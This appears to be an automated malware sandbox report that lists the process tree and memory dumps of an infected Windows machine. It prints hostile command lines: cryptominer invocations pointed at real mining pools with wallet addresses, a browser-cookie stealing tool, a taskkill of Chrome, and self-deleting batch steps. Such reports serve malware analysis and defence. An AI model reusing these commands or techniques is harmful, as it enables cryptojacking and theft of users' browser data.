                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Modifies system certificate store
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:3968
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                              5⤵
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:2604
                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                taskkill /f /im chrome.exe
                                                                                                                6⤵
                                                                                                                • Kills process with taskkill
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3760
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Checks whether UAC is enabled
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4312
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:4960
                                                                                                            • C:\Users\Admin\AppData\Roaming\D324.tmp.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\D324.tmp.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              PID:5068
                                                                                                              • C:\Users\Admin\AppData\Roaming\D324.tmp.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\D324.tmp.exe"
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:4232
                                                                                                            • C:\Users\Admin\AppData\Roaming\D3E1.tmp.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\D3E1.tmp.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Adds Run key to start application
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              PID:2168
                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                                                6⤵
                                                                                                                  PID:3612
                                                                                                                • C:\Windows\system32\msiexec.exe
                                                                                                                  -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
                                                                                                                  6⤵
                                                                                                                  • Blocklisted process makes network request
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:2696
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                                                                                                5⤵
                                                                                                                  PID:5992
                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                    ping 127.0.0.1
                                                                                                                    6⤵
                                                                                                                    • Runs ping.exe
                                                                                                                    PID:5128
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
                                                                                                                4⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:6060
                                                                                                                • C:\ProgramData\235266.exe
                                                                                                                  "C:\ProgramData\235266.exe"
                                                                                                                  5⤵
                                                                                                                    PID:5196
                                                                                                                  • C:\ProgramData\1677330.exe
                                                                                                                    "C:\ProgramData\1677330.exe"
                                                                                                                    5⤵
                                                                                                                      PID:4488
                                                                                                                      • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                        "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                        6⤵
                                                                                                                          PID:4296
                                                                                                                      • C:\ProgramData\4375295.exe
                                                                                                                        "C:\ProgramData\4375295.exe"
                                                                                                                        5⤵
                                                                                                                          PID:4324
                                                                                                                        • C:\ProgramData\7543344.exe
                                                                                                                          "C:\ProgramData\7543344.exe"
                                                                                                                          5⤵
                                                                                                                            PID:4244
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                                                                                                                          4⤵
                                                                                                                            PID:1004
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                              5⤵
                                                                                                                                PID:5796
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                5⤵
                                                                                                                                  PID:4852
                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                          1⤵
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                          • Modifies registry class
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:3704
                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                          PID:3556
                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                          1⤵
                                                                                                                          • Modifies registry class
                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:4288
                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                          1⤵
                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                          • Modifies registry class
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4404
                                                                                                                        • C:\Windows\system32\werfault.exe
                                                                                                                          werfault.exe /h /shared Global\d87c729c20864d39b4ae59115f472ac1 /t 4448 /p 4404
                                                                                                                          1⤵
                                                                                                                            PID:5212
                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                            C:\Windows\system32\msiexec.exe /V
                                                                                                                            1⤵
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:4848
                                                                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding C8A4B2DB58774F3566A238A8849BBA10 C
                                                                                                                              2⤵
                                                                                                                                PID:5628
                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 214D623C8C5DC6E3651CBA836746AB7D
                                                                                                                                2⤵
                                                                                                                                  PID:2600
                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
                                                                                                                                  2⤵
                                                                                                                                    PID:6192
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
                                                                                                                                      3⤵
                                                                                                                                        PID:2728
                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"
                                                                                                                                          4⤵
                                                                                                                                            PID:3004
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                              C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x204,0x208,0x20c,0x1d0,0x210,0x7ff9a8f89ec0,0x7ff9a8f89ed0,0x7ff9a8f89ee0
                                                                                                                                              5⤵
                                                                                                                                                PID:4392
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                  C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff70a204e60,0x7ff70a204e70,0x7ff70a204e80
                                                                                                                                                  6⤵
                                                                                                                                                    PID:4028
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1332,7798906545155105316,1180373487231683420,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3004_1717571634" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1604 /prefetch:2
                                                                                                                                                  5⤵
                                                                                                                                                    PID:1656
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1332,7798906545155105316,1180373487231683420,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3004_1717571634" --mojo-platform-channel-handle=1920 /prefetch:8
                                                                                                                                                    5⤵
                                                                                                                                                      PID:4432
                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1332,7798906545155105316,1180373487231683420,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3004_1717571634" --mojo-platform-channel-handle=2208 /prefetch:8
                                                                                                                                                      5⤵
                                                                                                                                                        PID:6660
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1332,7798906545155105316,1180373487231683420,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3004_1717571634" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2592 /prefetch:1
                                                                                                                                                        5⤵
                                                                                                                                                          PID:6920
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1332,7798906545155105316,1180373487231683420,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3004_1717571634" --mojo-platform-channel-handle=2856 /prefetch:8
                                                                                                                                                          5⤵
                                                                                                                                                            PID:6724
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1332,7798906545155105316,1180373487231683420,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3004_1717571634" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1600 /prefetch:2
                                                                                                                                                            5⤵
                                                                                                                                                              PID:6316
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE7429.bat" "
                                                                                                                                                          3⤵
                                                                                                                                                            PID:6052
                                                                                                                                                            • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                              C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"
                                                                                                                                                              4⤵
                                                                                                                                                              • Views/modifies file attributes
                                                                                                                                                              PID:6924
                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                              C:\Windows\System32\timeout.exe 5
                                                                                                                                                              4⤵
                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                              PID:6136
                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                              C:\Windows\System32\timeout.exe 5
                                                                                                                                                              4⤵
                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                              PID:5224
                                                                                                                                                            • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                              C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXE7429.bat"
                                                                                                                                                              4⤵
                                                                                                                                                              • Views/modifies file attributes
                                                                                                                                                              PID:4496
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXE7429.bat" "
                                                                                                                                                              4⤵
                                                                                                                                                                PID:4352
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" cls"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:6000
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE73EA.bat" "
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5216
                                                                                                                                                                  • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                    C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Views/modifies file attributes
                                                                                                                                                                    PID:5336
                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                    C:\Windows\System32\timeout.exe 5
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                    PID:5684
                                                                                                                                                                  • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                    C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXE73EA.bat"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Views/modifies file attributes
                                                                                                                                                                    PID:3432
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXE73EA.bat" "
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:6476
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" cls"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:6488
                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:5892
                                                                                                                                                                  • C:\Windows\system32\werfault.exe
                                                                                                                                                                    werfault.exe /h /shared Global\a32d4be1475b4b8a92a86517dba605ac /t 0 /p 5892
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:4400
                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:5528
                                                                                                                                                                      • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                        C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:6012
                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                          c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:6996
                                                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                              DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{08a45ac8-6f9a-4a47-a4c8-221b75165a7d}\oemvista.inf" "9" "4d14a44ff" "0000000000000124" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:7072
                                                                                                                                                                              • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000124"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5532
                                                                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:2684
                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:4992
                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:6740
                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:6680
                                                                                                                                                                                      • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                        "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:640
                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                            MaskVPNUpdate.exe /silent
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:7024
                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:6912
                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:6736
                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:184
                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:5972

                                                                                                                                                                                                    Network

                                                                                                                                                                                                    MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                    • memory/640-447-0x0000000034841000-0x000000003487F000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      248KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/640-434-0x0000000000400000-0x00000000015D7000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      17.8MB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/640-433-0x00000000017E0000-0x00000000017E1000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/640-435-0x0000000000120000-0x0000000000121000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/640-445-0x0000000033D11000-0x0000000033E90000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.5MB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/640-446-0x0000000034691000-0x000000003477A000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      932KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/936-415-0x0000000002DC2000-0x0000000002DC4000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      8KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/936-408-0x0000000002DC0000-0x0000000002DC2000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      8KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/936-400-0x0000000002DD0000-0x0000000003770000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      9.6MB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/936-418-0x0000000002DC5000-0x0000000002DC6000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1172-29-0x0000000002760000-0x00000000028FC000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.6MB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1524-287-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1524-292-0x0000000005910000-0x0000000005911000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1524-285-0x000000006EE20000-0x000000006F50E000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      6.9MB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1656-482-0x000002755D420000-0x000002755D421000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1656-485-0x000002755D420000-0x000002755D421000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1656-483-0x000002755D420000-0x000002755D421000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/1656-480-0x000002755D420000-0x000002755D421000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/2192-41-0x0000000000401000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      44KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/2608-58-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      4KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/2608-54-0x00000000032A1000-0x00000000032CC000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      172KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/2608-57-0x0000000003421000-0x0000000003428000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      28KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/2608-50-0x0000000002221000-0x0000000002223000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      8KB

                                                                                                                                                                                                      Download

                                                                                                                                                                                                    • memory/2692-36-0x00000000026E0000-0x0000000003080000-memory.dmp

                                                                                                                                                                                                      Filesize

